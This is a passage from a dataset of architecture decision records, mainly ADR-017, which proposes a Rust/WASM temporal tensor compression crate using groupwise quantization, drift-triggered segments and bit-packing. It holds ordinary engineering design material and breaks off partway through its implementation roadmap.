Documentation\n\n---\n\n## 12. References\n\n- Evans, Eric. \"Domain-Driven Design: Tackling Complexity in the Heart of Software\" (2003)\n- Vernon, Vaughn. \"Implementing Domain-Driven Design\" (2013)\n- Kleppmann, Martin. \"Designing Data-Intensive Applications\" (2017) - Chapter 5: Replication\n- RuVector Core: `/workspaces/ruvector/crates/ruvector-core`\n- RuVector DAG: `/workspaces/ruvector/crates/ruvector-dag`\n- RuVector Replication: `/workspaces/ruvector/crates/ruvector-replication/src/conflict.rs`\n- ADR-CE-004: Signed Event Log\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-28 | System Architecture Designer | Initial ADR |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-016-delta-behavior-ddd-architecture.md", "created_at": "2026-03-28T11:58:48.992819+00:00", "content_hash": "8fbd691efc4648757ea056d78862d91af91b96e781820c17eb7e6d9715ae78b3"} +{"id": "c5c0b725-754b-458b-8b43-37b99b99ce35", "source": "adr", "text": "# ADR-017: Temporal Tensor Compression with Tiered Quantization\n\n**Status**: Proposed\n**Date**: 2026-02-06\n**Parent**: ADR-001 RuVector Core Architecture, ADR-004 KV Cache Management, ADR-005 WASM Runtime Integration\n**Author**: System Architecture Team\n**SDK**: Claude-Flow\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-02-06 | Architecture Team | Initial SOTA research and design proposal |\n\n---\n\n## Abstract\n\nThis ADR introduces a **temporal tensor compression** system with **tiered quantization** for RuVector. The system exploits two key observations: (1) tensors accessed at different frequencies can tolerate different precision levels, and (2) quantization parameters (scales) can be amortized across consecutive time frames when the underlying distribution is stable. Together these yield 4x-10.67x compression over f32 while keeping reconstruction error within configurable bounds.\n\nThe implementation targets Rust with a zero-dependency WASM-compatible core, matching the sandboxed execution model established in ADR-005.\n\n---\n\n## 1. Context and Motivation\n\n### 1.1 The Memory-Bandwidth Wall\n\nMemory size and memory bandwidth dominate deployment cost for tensor-heavy workloads. ADR-004 established a three-tier KV cache (FP16 / 4-bit / 2-bit) but addresses only static snapshots of key-value pairs. Modern agent systems (RuVector's primary workload) produce **streams of tensor frames** - embeddings, activations, gradient sketches, coherence vectors - that evolve over time. Storing each frame independently wastes metadata and misses temporal redundancy.\n\n**Memory scaling for agent tensor streams:**\n\n| Tensor Dim | Frames/sec | Duration | Raw f32 | 8-bit | 5-bit | 3-bit |\n|-----------|------------|----------|---------|-------|-------|-------|\n| 512 | 10 | 1 hour | 73.7 MB | 18.4 MB | 11.5 MB | 6.9 MB |\n| 2048 | 10 | 1 hour | 294.9 MB | 73.7 MB | 46.1 MB | 27.6 MB |\n| 4096 | 50 | 1 hour | 2.95 GB | 737 MB | 461 MB | 276 MB |\n\n### 1.2 Limitations of Current Quantization (ruvector-core)\n\nThe existing `quantization.rs` in `ruvector-core` provides:\n\n| Method | Compression | Limitation |\n|--------|-------------|------------|\n| Scalar (u8) | 4x | Per-vector min/max scales; no temporal reuse |\n| Int4 | 8x | Fixed 4-bit; no adaptive tier selection |\n| Product | 8-16x | Requires codebook training; high latency |\n| Binary | 32x | Too lossy for reconstruction-sensitive paths |\n\n**Missing capabilities:**\n- No temporal scale reuse across frames\n- No access-pattern-driven tier selection\n- No sub-byte bit packing (5-bit, 7-bit)\n- No drift-aware segment boundaries\n- No WASM-native compression path\n\n### 1.3 Why Temporal Compression\n\nThe core insight: when a tensor's value distribution is stable over consecutive frames, the quantization scales computed for frame *t* remain valid for frames *t+1, t+2, ..., t+k*. Reusing scales across *k* frames amortizes the per-group scale overhead by *k*x and avoids redundant calibration passes.\n\nThis is the same principle behind:\n- **Video codecs** (H.264/H.265): I-frames carry full parameters; P-frames reuse them until a scene change\n- **Time-series databases** (Gorilla, InfluxDB): Delta-of-delta encoding reuses a base until drift exceeds a threshold\n- **Streaming quantization** (QuaRot, KIVI): Per-channel parameters reused across tokens until attention pattern shifts\n\n---\n\n## 2. SOTA Research Summary\n\n### 2.1 Groupwise Quantization (State of the Art 2024-2026)\n\nModern quantization systems converge on **per-group symmetric quantization** as the optimal accuracy-metadata tradeoff:\n\n| System | Year | Approach | Key Innovation |\n|--------|------|----------|----------------|\n| **GPTQ** | 2023 | Per-column Hessian-weighted quantization | OBQ with lazy batch updates; group_size=128 standard |\n| **AWQ** | 2024 | Activation-aware weight quantization | Protects salient channels via per-channel scaling |\n| **SqueezeLLM** | 2024 | Non-uniform with sensitivity grouping | Dense-and-sparse decomposition for outliers |\n| **QuIP#** | 2024 | Incoherence via random Hadamard | Enables high-quality 2-bit with lattice codebooks |\n| **AQLM** | 2024 | Additive multi-codebook quantization | 2-bit with learned codebooks; beam search optimization |\n| **SpinQuant** | 2024 | Rotation-based Cayley optimization | Learnable rotation matrices; Llama-2-7B 4-bit = FP16 parity |\n| **KIVI** | 2024 | Per-channel key, per-token value | 2-bit KV cache with <0.1 ppl increase on Llama-2 |\n| **Atom** | 2024 | Mixed-precision with reordering | Handles activation outliers via channel reordering |\n\n**Consensus finding**: Group sizes of 32-128 provide the best accuracy-metadata tradeoff. Symmetric quantization (no zero-point) is sufficient when distribution is roughly centered, which holds for most intermediate tensors. The scale storage cost is `ceil(tensor_len / group_len) * sizeof(scale)`.\n\n### 2.2 Sub-4-Bit Quantization Viability\n\n| Bits | Compression vs f32 | Typical Quality Impact | Viable For |\n|------|-------------------|----------------------|------------|\n| 8 | 4.00x | Negligible (<0.01 ppl) | Hot path, full fidelity |\n| 7 | 4.57x | Negligible (<0.02 ppl) | Warm path, near-lossless |\n| 5 | 6.40x | Minor (0.05-0.1 ppl) | Warm path, acceptable loss |\n| 4 | 8.00x | Moderate (0.1-0.3 ppl) | Well-studied; GPTQ/AWQ standard |\n| 3 | 10.67x | Significant (0.3-1.0 ppl) | Cold path with bounded error |\n| 2 | 16.00x | Large (1.0-3.0 ppl) | Archive only; KIVI/QuIP# needed |\n\n**Key finding**: 3-bit symmetric quantization is the practical floor for reconstruction-required tensors. Below 3-bit, non-uniform or lattice codebook methods (QuIP#, AQLM) are needed to maintain quality, at much higher complexity.\n\n### 2.3 Temporal Scale Reuse\n\nNo widely published system directly addresses temporal reuse of quantization scales for streaming tensor data. The closest analogs are:\n\n1. **Gorilla (Facebook, 2015)**: XOR-based delta encoding for time-series floats; reuses a base encoding until delta exceeds threshold\n2. **KIVI token reuse**: Per-channel scales for keys are computed once and applied to all tokens in the channel\n3. **QuaRot (2024)**: Rotation matrices computed once per layer, reused for all tokens\n4. **Streaming quantization in video**: DCT coefficients reused across P-frames until I-frame refresh\n\nOur temporal segment approach generalizes these: compute group scales once per segment, emit packed codes for each frame, start a new segment on tier change or drift exceedance.\n\n### 2.4 Bit-Packing Techniques\n\nStandard bitstream packing (accumulator + shift) is the established approach for arbitrary-width codes:\n\n```\nFor each code of width B bits:\n accumulator |= code << acc_bits\n acc_bits += B\n while acc_bits >= 8:\n emit(accumulator & 0xFF)\n accumulator >>= 8\n acc_bits -= 8\n```\n\n**SIMD acceleration**: For fixed widths (3, 5, 7, 8), vectorized pack/unpack can process 16-32 codes per SIMD iteration using shuffles and masks. The `bitpacking` crate achieves 4-8 GB/s on AVX2 for fixed-width packing. For WASM, the 128-bit SIMD proposal (widely supported since 2023) enables similar throughput.\n\n### 2.5 Rust + WASM Performance Landscape\n\n| Aspect | Status (2026) |\n|--------|---------------|\n| wasm32-unknown-unknown | Stable, widely deployed |\n| WASM SIMD (128-bit) | Supported in all major browsers and runtimes |\n| wasm32-wasi | Stable, server-side WASM standard |\n| Linear memory model | Single contiguous address space; 32-bit pointers |\n| `#[no_mangle] extern \"C\"` | Standard FFI pattern for WASM exports |\n| Static mut in single-threaded WASM | Sound (no data races possible) but future-fragile |\n\n**Relevant Rust WASM tensor libraries**: candle (Hugging Face), burn, tract. All demonstrate that high-performance tensor operations are viable in Rust/WASM with careful memory management.\n\n---\n\n## 3. Decision\n\n### 3.1 Introduce Temporal Tensor Compression as a New Crate\n\nWe introduce `ruvector-temporal-tensor` (with WASM variant `ruvector-temporal-tensor-wasm`) implementing:\n\n1. **Groupwise symmetric quantization** with f16 scales\n2. **Temporal segments** that amortize scales across frames\n3. **Three-tier access-driven bit-width selection** (8/7-or-5/3)\n4. **Bitstream packing** with no byte-alignment waste\n5. **WASM-compatible FFI** with handle-based resource management\n\n### 3.2 Architecture Overview\n\n```\n+===========================================================================+\n| TEMPORAL TENSOR COMPRESSION ARCHITECTURE |\n+===========================================================================+\n| |\n| Input Frame (f32[N]) |\n| | |\n| v |\n| +----------------+ +-----------------+ +--------------------+ |\n| | Tier Policy |---->| Segment Manager |---->| Segment Store | |\n| | | | | | (Vec blobs) | |\n| | score = count | | - drift check | | | |\n| | * 1024 / age | | - scale reuse | | Magic: TQTC | |\n| | | | - bit-width sel | | Version: 1 | |\n| | Hot: 8-bit | | | | Bits, GroupLen, | |\n| | Warm: 7/5-bit | +---------+-------+ | TensorLen, Frames, | |\n| | Cold: 3-bit | | | Scales[], Data[] | |\n| +----------------+ | +--------------------+ |\n| v |\n| +----------------------------------------------------------------+ |\n| | QUANTIZATION PIPELINE | |\n| | | |\n| | f32 values | |\n| | | | |\n| | v | |\n| | [Group 0: max_abs -> scale_f16] [Group 1: ...] [Group K: ...] | |\n| | | | |\n| | v | |\n| | q_i = round(v_i / scale) // symmetric, no zero-point | |\n| | q_i = clamp(q_i, -qmax, +qmax) | |\n| | | | |\n| | v | |\n| | u_i = q_i + bias // signed -> unsigned mapping | |\n| | | | |\n| | v | |\n| | [Bitstream Packer: B-bit codes, no alignment padding] | |\n| +----------------------------------------------------------------+ |\n| |\n| Decode: bitstream unpack -> unsigned -> signed -> scale multiply |\n+===========================================================================+\n```\n\n### 3.3 Segment Binary Format\n\n```\nOffset Size Field Description\n------ ------ --------------- -----------------------------------------\n0 4 magic 0x43545154 (\"TQTC\" in LE ASCII)\n4 1 version Format version (currently 1)\n5 1 bits Bit width for this segment (3, 5, 7, or 8)\n6 4 group_len Elements per quantization group\n10 4 tensor_len Number of f32 elements per frame\n14 4 frame_count Number of frames in this segment\n18 4 scale_count Number of f16 group scales\n22 2*S scales f16 scale values (S = scale_count)\n22+2S 4 data_len Length of packed bitstream in bytes\n26+2S D data Packed quantized codes (D = data_len)\n```\n\n**Segment size formula:**\n```\nsegment_bytes = 26 + 2*ceil(tensor_len/group_len) + ceil(tensor_len * frame_count * bits / 8)\n```\n\n### 3.4 Tier Policy Design\n\n```\nScore = access_count * 1024 / (now_ts - last_access_ts + 1)\n\nTier 1 (Hot): score >= hot_min_score -> 8-bit (~4.0x compression)\nTier 2 (Warm): score >= warm_min_score -> 7-bit (~4.57x) or 5-bit (~6.4x)\nTier 3 (Cold): score < warm_min_score -> 3-bit (~10.67x compression)\n```\n\n**Default thresholds:**\n\n| Parameter | Default | Rationale |\n|-----------|---------|-----------|\n| `hot_min_score` | 512 | ~2 accesses/sec for recent data |\n| `warm_min_score` | 64 | ~1 access every 16 seconds |\n| `warm_bits` | 7 | Conservative warm tier; set to 5 for aggressive |\n| `drift_pct_q8` | 26 | ~10.2% drift tolerance (26/256) |\n| `group_len` | 64 | 64 elements per group; 128 bytes of f16 scales per 256 values |\n\n**Drift detection**: Before appending a frame to the current segment, compute `max_abs` per group and compare against `scale * qmax * drift_factor`. If any group exceeds this, flush the current segment and start a new one with recomputed scales. This bounds reconstruction error to `drift_factor * original_error`.\n\n### 3.5 Compression Math\n\nEffective compression ratios including scale overhead (group_len=64, f16 scales):\n\n| Bits | Raw Ratio | Scale Overhead | Effective Ratio | Effective Ratio (100 frames) |\n|------|-----------|----------------|-----------------|------------------------------|\n| 8 | 4.00x | 1 f16 per 64 vals | 3.76x | 3.99x |\n| 7 | 4.57x | same | 4.27x | 4.56x |\n| 5 | 6.40x | same | 5.82x | 6.38x |\n| 3 | 10.67x | same | 9.14x | 10.63x |\n\nTemporal amortization: with 100 frames per segment, scale overhead becomes negligible (~0.03% of segment size).\n\n---\n\n## 4. Detailed Design\n\n### 4.1 Module Architecture\n\n```\ncrates/ruvector-temporal-tensor/\n\u251c\u2500\u2500 Cargo.toml\n\u2514\u2500\u2500 src/\n \u251c\u2500\u2500 lib.rs # Public API, re-exports\n \u251c\u2500\u2500 tier_policy.rs # TierPolicy: score calculation, tier selection\n \u251c\u2500\u2500 f16.rs # Software f32<->f16 conversion (no external deps)\n \u251c\u2500\u2500 bitpack.rs # Bitstream packer/unpacker for arbitrary widths\n \u251c\u2500\u2500 quantizer.rs # Groupwise symmetric quantization + dequantization\n \u251c\u2500\u2500 segment.rs # Segment encode/decode, binary format\n \u251c\u2500\u2500 compressor.rs # TemporalTensorCompressor: drift, segmentation\n \u2514\u2500\u2500 ffi.rs # WASM/C FFI: handle store, extern \"C\" exports\n\ncrates/ruvector-temporal-tensor-wasm/\n\u251c\u2500\u2500 Cargo.toml # wasm32-unknown-unknown target\n\u2514\u2500\u2500 src/\n \u2514\u2500\u2500 lib.rs # Re-exports FFI functions, WASM-specific config\n```\n\n### 4.2 Groupwise Symmetric Quantization\n\nFor a group of `G` values from frame `f`:\n\n```\nscale = max(|v_i| for i in group) / qmax\nqmax = 2^(bits-1) - 1 // e.g., bits=8 -> qmax=127, bits=3 -> qmax=3\nq_i = round(v_i / scale)\nq_i = clamp(q_i, -qmax, +qmax)\nu_i = q_i + qmax // bias to unsigned for packing\n```\n\nReconstruction:\n```\nq_i = u_i - qmax // unbias\nv_i' = q_i * scale // dequantize\n```\n\n**Why symmetric**: No zero-point storage needed. For centered distributions (which agent tensors typically are), symmetric quantization loses minimal accuracy vs asymmetric while halving metadata and simplifying the dequantize multiply.\n\n**Why f16 scales**: 2 bytes per group vs 4 bytes for f32. For typical tensor magnitudes (1e-3 to 1e3), f16 provides sufficient precision for scales. The f16 dynamic range (6.1e-5 to 65504) covers the relevant scale values. Software f16 conversion is fast (~5ns per conversion) and avoids external crate dependencies.\n\n### 4.3 Temporal Segment Lifecycle\n\n```\n Frame 0 Frame 1 Frame 2 ... Frame K Frame K+1\n \u250c\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 f32 \u2502 \u2502 f32 \u2502 \u2502 f32 \u2502 \u2502 f32 \u2502 \u2502 f32 \u2502\n \u2514\u2500\u2500\u252c\u2500\u2500\u2518 \u2514\u2500\u2500\u252c\u2500\u2500\u2518 \u2514\u2500\u2500\u252c\u2500\u2500\u2518 \u2514\u2500\u2500\u252c\u2500\u2500\u2518 \u2514\u2500\u2500\u252c\u2500\u2500\u2518\n \u2502 \u2502 \u2502 \u2502 \u2502\n v v v v v\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \u2502 SEGMENT 1 (same scales) \u2502 \u2502 SEGMENT 2\n \u2502 \u2502 \u2502 (new\n \u2502 scales: [s0, s1, ..., sG] (computed from frame 0) \u2502 \u2502 scales)\n \u2502 data: [packed frame 0][packed frame 1]...[frame K] \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n ^\n |\n Drift exceeded OR\n tier changed at K+1\n```\n\n**Segment boundary triggers:**\n1. First frame (no active segment)\n2. Tier bit-width changed (e.g., tensor went from hot to warm)\n3. Any group's `max_abs > scale * qmax * drift_factor`\n\n### 4.4 Drift Detection Algorithm\n\n```rust\nfn frame_fits_current_scales(frame, scales, qmax, drift_factor) -> bool {\n for each group (idx, scale) in scales:\n max_abs = max(|v| for v in group_slice(frame, idx))\n allowed = f16_to_f32(scale) * qmax * drift_factor\n if max_abs > allowed:\n return false // Distribution has drifted\n return true\n}\n```\n\nThe `drift_factor` is `1 + drift_pct_q8/256`. With `drift_pct_q8=26`, this is `1.1015625` (~10% tolerance). This means a group's maximum absolute value can grow by up to ~10% beyond the original calibration before triggering a new segment.\n\n**Tradeoff**: Lower drift tolerance = more segment boundaries = more accurate but more metadata. Higher drift tolerance = fewer segments = better compression but more quantization error. The 10% default is conservative; for cold tensors, 20-30% may be acceptable.\n\n### 4.5 Bit-Packing Implementation\n\nThe packer uses a 64-bit accumulator for sub-byte codes:\n\n```\nFor each quantized unsigned code u of width B bits:\n acc |= (u as u64) << acc_bits\n acc_bits += B\n while acc_bits >= 8:\n emit byte: acc & 0xFF\n acc >>= 8\n acc_bits -= 8\n// After all codes: flush remaining bits\nif acc_bits > 0:\n emit byte: acc & 0xFF\n```\n\n**Packing density** (no wasted bits):\n\n| Bits | Codes per 8 bytes | Utilization |\n|------|-------------------|-------------|\n| 8 | 8 | 100% |\n| 7 | 9.14 | 100% (no padding) |\n| 5 | 12.8 | 100% (no padding) |\n| 3 | 21.33 | 100% (no padding) |\n\n### 4.6 f16 Software Conversion\n\nThe implementation provides bit-exact IEEE 754 half-precision conversion without external crates:\n\n- **f32 -> f16**: Extract sign/exponent/mantissa, remap exponent bias (127 -> 15), handle denormals with rounding, infinity, NaN propagation\n- **f16 -> f32**: Reverse the bias remapping, reconstruct denormals, handle special values\n\n**Accuracy**: Round-to-nearest-even for normals. Denormal handling preserves gradual underflow. The conversion pair is not bit-exact round-trip for all f32 values (f16 has 10 mantissa bits vs f32's 23), but for scale values in the range [1e-4, 1e4], relative error is bounded by 2^-10 (~0.1%).\n\n### 4.7 WASM FFI Design\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 WASM Linear Memory \u2502\n\u2502 \u2502\n\u2502 Host allocates via ttc_alloc() \u2502\n\u2502 Host writes f32 frames into allocated buffers \u2502\n\u2502 Host calls ttc_push_frame(handle, ts, ptr, len, \u2502\n\u2502 out_ptr, out_cap, &out_written) \u2502\n\u2502 Host reads segment bytes from out_ptr \u2502\n\u2502 Host frees via ttc_dealloc() \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 STORE: Vec>\u2502 \u2502\n\u2502 \u2502 [0] = Some(comp_a) \u2502 \u2502\n\u2502 \u2502 [1] = None (freed) \u2502 \u2502\n\u2502 \u2502 [2] = Some(comp_b) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**FFI function table:**\n\n| Function | Purpose | Parameters |\n|----------|---------|------------|\n| `ttc_create` | Create compressor | `(len, now_ts, &out_handle)` |\n| `ttc_free` | Destroy compressor | `(handle)` |\n| `ttc_touch` | Record access | `(handle, now_ts)` |\n| `ttc_set_access` | Set access stats | `(handle, count, last_ts)` |\n| `ttc_push_frame` | Compress a frame | `(handle, ts, in_ptr, len, out_ptr, out_cap, &out_written)` |\n| `ttc_flush` | Flush current segment | `(handle, out_ptr, out_cap, &out_written)` |\n| `ttc_decode_segment` | Decompress segment | `(seg_ptr, seg_len, out_ptr, out_cap, &out_written)` |\n| `ttc_alloc` | Allocate WASM memory | `(size, &out_ptr)` |\n| `ttc_dealloc` | Free WASM memory | `(ptr, cap)` |\n\n**Handle-based store**: Compressors are stored in a global `Vec>`. Handles are indices. Freed slots are reused. This pattern is standard for WASM FFI where the host cannot hold Rust references.\n\n---\n\n## 5. Integration with RuVector\n\n### 5.1 Crate Dependency Graph\n\n```\nruvector-temporal-tensor\n (no external deps - pure Rust, WASM-safe)\n\nruvector-temporal-tensor-wasm\n \u2514\u2500\u2500 ruvector-temporal-tensor\n\nruvector-core (future integration)\n \u2514\u2500\u2500 ruvector-temporal-tensor (optional feature)\n extends QuantizedVector trait\n```\n\n### 5.2 AgenticDB Integration\n\nCompressed segments are stored as byte blobs in AgenticDB, keyed by:\n```\nKey: {tensor_id}:{segment_start_ts}:{segment_end_ts}\nValue: segment bytes (TQTC format)\nTags: tier={hot|warm|cold}, bits={3|5|7|8}, frames={N}\n```\n\nAgenticDB's HNSW index is not used for segment lookup (segments are accessed by time range, not similarity). Instead, a B-tree or time-range index over segment keys provides O(log N) lookup.\n\n### 5.3 Coherence Engine Integration\n\nThe coherence engine (ADR-014, ADR-015) can trigger segment boundaries via a **coherence-gated refresh**:\n\n```\nif coherence_score(tensor_id) < coherence_threshold:\n compressor.flush() // Force segment boundary\n // New segment will recompute scales from fresh data\n```\n\nThis ensures that when the coherence engine detects structural disagreement (e.g., between an agent's embedding and the graph's expected embedding), the compression system refreshes its calibration even if drift is still within the numerical threshold.\n\n### 5.4 Graph Lineage\n\nEach segment can be represented as a node in RuVector's DAG (ADR-016 delta system):\n- **Edges**: `tensor_id -> segment_1 -> segment_2 -> ...` (temporal lineage)\n- **Metadata**: Which agent/workflow produced the tensor, tier at time of compression\n- **Provenance**: Full reconstruction path from segments back to original f32 data\n\n---\n\n## 6. Implementation Review and Safety Analysis\n\n### 6.1 Correctness Assessment\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| Groupwise symmetric quant | Correct | `qmax = 2^(bits-1) - 1`; symmetric range [-qmax, +qmax] |\n| f16 conversion | Correct with caveats | Rounding mode is round-half-up (not round-half-even); acceptable for scales |\n| Bit-packing | Correct | 64-bit accumulator handles all widths 1-8 without overflow |\n| Drift detection | Correct | Per-group max-abs comparison against scaled threshold |\n| Segment encode/decode | Correct | Round-trip verified for all tier widths |\n| Bias mapping | Correct | `bias = qmax`; unsigned range is `[0, 2*qmax]` which fits in `bits` bits |\n\n### 6.2 Safety Analysis\n\n| Pattern | Risk | Mitigation |\n|---------|------|------------|\n| `static mut STORE` | UB in multi-threaded context | WASM is single-threaded; safe in practice. Migrate to `thread_local!` or `OnceCell` for native targets. |\n| `from_raw_parts` in FFI | UB if host passes invalid pointers | Host is responsible for valid pointers; standard WASM FFI contract. Add debug assertions. |\n| `std::mem::forget` in `ttc_alloc` | Memory managed by host | Correct pattern; host calls `ttc_dealloc` to reconstruct and drop the Vec. |\n| Null pointer checks | Partial | FFI functions check `out_written.is_null()` but not all `out_ptr`. Add null checks. |\n\n**Recommended safety improvements for production:**\n1. Replace `static mut` with `thread_local!` for native target compatibility\n2. Add `#[cfg(debug_assertions)]` bounds checks in decode loops\n3. Validate segment magic/version before parsing\n4. Add `ttc_last_error` function for error reporting to host\n\n### 6.3 Performance Characteristics\n\n| Operation | Complexity | Estimated Latency (512-dim tensor) |\n|-----------|------------|-----------------------------------|\n| Tier selection | O(1) | <10ns |\n| Drift check | O(N/G) where G=group_len | ~50ns |\n| Scale computation | O(N) | ~100ns |\n| Quantize + pack | O(N) | ~200ns |\n| Decode + unpack | O(N) | ~200ns |\n| f16 conversion | O(1) per scale | ~5ns |\n\n**SIMD opportunity**: The inner quantize loop (`v * inv_scale`, round, clamp, pack) is highly vectorizable. With WASM SIMD (128-bit), processing 4 f32s per iteration yields ~4x speedup on the hot loop.\n\n---\n\n## 7. Alternatives Considered\n\n### 7.1 Extend Existing ruvector-core Quantization\n\n**Rejected**: The existing `QuantizedVector` trait assumes single-frame quantization with per-vector scales. Temporal segments require fundamentally different state management (multi-frame, drift-aware). Adding this to `ruvector-core` would violate single-responsibility and complicate the existing, well-tested code.\n\n### 7.2 Use GPTQ/AWQ-style Weight Quantization\n\n**Rejected**: GPTQ and AWQ are designed for static weight quantization with Hessian-based sensitivity. Our use case is streaming activations/embeddings that change every frame. The calibration cost of GPTQ (~minutes per layer) is prohibitive for real-time streams.\n\n### 7.3 Delta Encoding Between Frames\n\n**Considered but deferred**: XOR-based or arithmetic delta encoding (frame[t] - frame[t-1]) could further compress within a segment. However, this adds complexity and makes random access within a segment O(N) instead of O(1). We may add this as an optional mode in a future version.\n\n### 7.4 Asymmetric Quantization\n\n**Rejected for default**: Asymmetric quantization (with zero-point) adds 2 bytes of metadata per group and requires an additional subtraction in the dequantize path. For centered distributions (typical of embeddings and activations), the accuracy improvement is marginal (<0.5% relative error reduction) while the metadata cost is significant at small group sizes.\n\n### 7.5 Using the `half` Crate for f16\n\n**Rejected**: Adding an external dependency for f16 conversion would complicate WASM builds and increase binary size. The software f16 conversion is ~50 lines and has no performance-critical path (scales are converted once per segment, not per frame).\n\n---\n\n## 8. Acceptance Criteria\n\n### 8.1 Compression Targets\n\n| Tier | Bits | Target Compression (vs f32) | Measurement |\n|------|------|-----------------------------|-------------|\n| Hot | 8 | >= 3.7x (single frame), >= 3.99x (100 frames) | Segment size / raw f32 size |\n| Warm (7-bit) | 7 | >= 4.2x (single frame), >= 4.56x (100 frames) | Same |\n| Warm (5-bit) | 5 | >= 5.8x (single frame), >= 6.38x (100 frames) | Same |\n| Cold | 3 | >= 9.0x (single frame), >= 10.6x (100 frames) | Same |\n\n**Primary target**: On a representative 1-hour trace, achieve **>= 6x** reduction for warm tensors and **>= 10x** for cold tensors in resident bytes.\n\n### 8.2 Accuracy Targets\n\n| Tier | Max Relative Error | Measurement |\n|------|-------------------|-------------|\n| Hot (8-bit) | < 0.8% | max(|v - v'|) / max(|v|) per frame |\n| Warm (7-bit) | < 1.6% | Same |\n| Warm (5-bit) | < 6.5% | Same |\n| Cold (3-bit) | < 30% | Same; bounded error, not bit-exact |\n\n### 8.3 Performance Targets\n\n| Metric | Target |\n|--------|--------|\n| Quantize latency (512-dim, native) | < 500ns per frame |\n| Quantize latency (512-dim, WASM) | < 2us per frame |\n| Decode latency (512-dim, native) | < 500ns per frame |\n| WASM binary size | < 100KB (release, wasm-opt) |\n| Memory overhead per compressor | < 1KB + segment data |\n\n### 8.4 Functional Requirements\n\n- [ ] Round-trip encode/decode produces correct results for all tier widths (3, 5, 7, 8)\n- [ ] Drift detection correctly triggers segment boundaries\n- [ ] Tier transitions produce valid segment boundaries\n- [ ] Multiple compressors can coexist via handle system\n- [ ] Segment binary format is platform-independent (little-endian)\n- [ ] WASM FFI functions handle null pointers and size mismatches gracefully\n- [ ] No external crate dependencies in core library\n\n---\n\n## 9. Risks and Mitigations\n\n| Risk | Severity | Likelihood | Mitigation |\n|------|----------|------------|------------|\n| 3-bit quantization too lossy for some tensor types | High | Medium | Make tier policy configurable; allow per-tensor overrides; add quality monitoring |\n| Drift detection false positives cause excessive segments | Medium | Medium | Tune drift_pct_q8; add hysteresis (require N consecutive drifts) |\n| f16 scale precision insufficient for very small tensors | Medium | Low | Detect near-zero scales; fall back to f32 scales when f16 underflows |\n| WASM performance 3-5x slower than native | Medium | High | Expected; optimize hot loops with WASM SIMD; acceptable for non-realtime paths |\n| `static mut` unsound if WASM threading arrives | Low | Low | Replace with `thread_local!` or atomic cell before enabling shared memory |\n| Segment format not forward-compatible | Medium | Low | Version field enables format evolution; decode rejects unknown versions |\n\n---\n\n## 10. Open Questions\n\n1. **Typical tensor dimensions**: What are the representative dimensions for RuVector agent tensors? (Impacts group_len tuning and SIMD strategy)\n2. **Update frequency**: How many frames per second for hot vs warm vs cold tensors? (Impacts segment size expectations)\n3. **Cold tier error tolerance**: Is bounded relative error (up to 30% at 3-bit) acceptable, or do some cold tensors need bit-exact reversibility?\n4. **Integration priority**: Should AgenticDB integration (segment storage) or coherence engine integration (drift gating) come first?\n5. **SIMD tier**: Should the initial implementation include WASM SIMD, or start scalar-only and add SIMD in a follow-up?\n\n---\n\n## 11. Implementation Roadmap\n\n### Phase 1: Core Engine (Week 1-2)\n- [ ] Create `ruvector-temporal-tensor` crate with zero dependencies\n- [ ] Implement `tier_policy.rs`, `f16.rs`, `bitpack.rs`, `quantizer.rs`\n- [ ] Implement `segment.rs` (encode/decode) and `compressor.rs`\n- [ ] Unit tests: round-trip correctness for all bit widths\n- [ ] Unit tests: drift detection 